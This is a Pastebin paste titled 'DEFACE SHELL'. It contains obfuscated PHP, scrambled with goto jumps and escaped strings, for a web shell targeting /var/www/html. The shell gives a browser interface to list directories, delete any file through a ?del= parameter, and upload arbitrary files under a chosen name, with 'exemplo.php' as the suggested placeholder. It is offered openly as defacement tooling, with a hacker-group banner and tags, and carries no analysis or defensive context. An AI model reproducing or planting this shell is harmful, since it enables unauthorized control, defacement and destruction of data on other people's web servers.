Advertisement
CaiqueONZ

DEFACE SHELL

Jun 10th, 2025
917
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.30 KB | None | 0 0
  1. <?php
  2.  goto hcO6a; xAnhK: if ($dir === false || strpos($dir, $baseDir) !== 0) { $dir = $baseDir; } goto AziM_; WiBIz: if ($mensagem) { ?>
  3. <div class="mensagem"><?php  echo htmlspecialchars($mensagem); ?>
  4. </div><?php  } goto YJdTW; r08TJ: ?>
  5. <!doctypehtml><html lang="pt-BR"><head><meta charset="UTF-8"><title>DEFACE SHELL</title><style>@import url(https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap);body{background-color:#000;color:#fff;font-family:'Press Start 2P',monospace;font-size:14px;padding:30px;border:4px solid purple;margin:20px}h1{color:#fff;font-size:18px;margin-bottom:10px}.current-path{margin-bottom:20px;color:#aaa;font-size:12px}.file{margin-bottom:10px}.file a{color:#0ff;text-decoration:none;margin-right:10px}.delete{color:red}.upload-box{margin-top:40px;border-top:2px dashed purple;padding-top:20px}button,input{font-family:'Press Start 2P',monospace;font-size:12px;margin:5px 0;background-color:#222;color:#fff;border:2px solid purple;padding:5px}.mensagem{color:#ff0;margin-bottom:20px}a.link-button{background:0 0;border:none;color:#0ff;cursor:pointer;font-family:'Press Start 2P',monospace;font-size:14px;padding:0;text-decoration:none}</style></head><body><h1>SNIPER SHELL - #XYZ #MUSLIM</h1><?php  goto WiBIz; vugkA: echo htmlspecialchars(mostrarCaminho($baseDir, $dir)); goto N2rE1; MRh4f: $currentRelativeDir = trim(str_replace($baseDir, '', $dir), DIRECTORY_SEPARATOR); goto E344f; fhqwH: echo urlencode($parentDir); goto drPgJ; drPgJ: ?>
  6. "class="link-button">.. (VOLTAR)</a></div><?php  goto KgZTy; JhHtg: echo urlencode($dir); goto bLgyD; GMT9q: if (isset($_GET["\144\145\154"])) { $arquivo = basename($_GET["\x64\x65\x6c"]); $arquivoPath = $dir . DIRECTORY_SEPARATOR . $arquivo; if (file_exists($arquivoPath)) { unlink($arquivoPath); $mensagem = "\101\162\x71\165\x69\166\157\40\x27{$arquivo}\47\x20\x64\145\154\145\164\141\x64\157\41"; } else { $mensagem = "\101\162\x71\x75\x69\166\x6f\40\156\303\243\x6f\40\145\x6e\x63\157\x6e\164\x72\x61\144\157\x2e"; } } goto ZKk3I; ZKk3I: $arquivos = array_diff(scandir($dir), array("\x2e", "\56\56")); goto i2FwV; KgZTy: foreach ($arquivos as $arquivo) { $arquivoPath = $dir . DIRECTORY_SEPARATOR . $arquivo; if (is_dir($arquivoPath)) { $link = "\77\144\151\162\75" . urlencode($arquivoPath); } else { $link = htmlspecialchars($arquivoPath); } ?>
  7. <div class="file"><?php  if (is_dir($arquivoPath)) { ?>
  8. <a href="<?php  echo $link; ?>
  9. "><?php  echo htmlspecialchars($arquivo); ?>
  10. /</a><?php  } else { ?>
  11. <a href="<?php  echo $link; ?>
  12. "target="_blank"><?php  echo htmlspecialchars($arquivo); ?>
  13. </a><?php  } ?>
  14. - <a href="?del=<?php  echo urlencode($arquivo); ?>
  15. &dir=<?php  echo urlencode($dir); ?>
  16. "class="delete">[DELETAR]</a></div><?php  } goto UoLUv; N2rE1: ?>
  17. </strong></div><div class="file"><a href="?dir=<?php  goto fhqwH; hcO6a: $baseDir = realpath("\x2f\x76\x61\x72\x2f\167\x77\x77\x2f\150\164\155\x6c"); goto fo0Ij; LelOI: if (isset($_FILES["\x66\151\x6c\145"])) { $nome = $_POST["\146\x69\x6c\145\156\141\155\x65"] ?: $_FILES["\x66\x69\x6c\x65"]["\156\141\x6d\x65"]; $destino = $dir . DIRECTORY_SEPARATOR . basename($nome); if (move_uploaded_file($_FILES["\x66\x69\154\145"]["\164\155\160\x5f\x6e\141\155\145"], $destino)) { $mensagem = "\101\x72\x71\165\x69\166\x6f\40\47{$nome}\47\40\145\x6e\166\151\x61\x64\157\40\x63\x6f\155\x20\x73\x75\x63\145\x73\x73\x6f\x21"; } else { $mensagem = "\x46\x61\x6c\150\x61\x20\x61\x6f\40\145\156\x76\151\141\x72\x20\157\x20\x61\x72\161\165\x69\x76\x6f\56"; } } goto GMT9q; i2FwV: $parentDir = dirname($dir); goto VSAI8; E344f: function mostrarCaminho($baseDir, $dir) { $relativo = trim(str_replace($baseDir, '', $dir), DIRECTORY_SEPARATOR); return "\57" . $relativo; } goto r08TJ; AziM_: $mensagem = ''; goto LelOI; UoLUv: ?>
  18. <div class="upload-box"><form action="?dir=<?php  goto JhHtg; YJdTW: ?>
  19. <div class="current-path">ARQUIVOS DA PASTA: <strong><?php  goto vugkA; fo0Ij: $dir = isset($_GET["\144\x69\162"]) ? realpath($_GET["\144\x69\x72"]) : $baseDir; goto xAnhK; VSAI8: if (strpos($parentDir, $baseDir) !== 0) { $parentDir = $baseDir; } goto MRh4f; bLgyD: ?>
  20. "enctype="multipart/form-data"method="POST"><label>Selecionar arquivo:</label><br><input name="file"required type="file"><br><label>Nome do arquivo:</label><br><input name="filename"placeholder="exemplo.php"><br><input type="submit"value="UPLOAD"></form></div></body></html>
Tags: Shell Deface
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement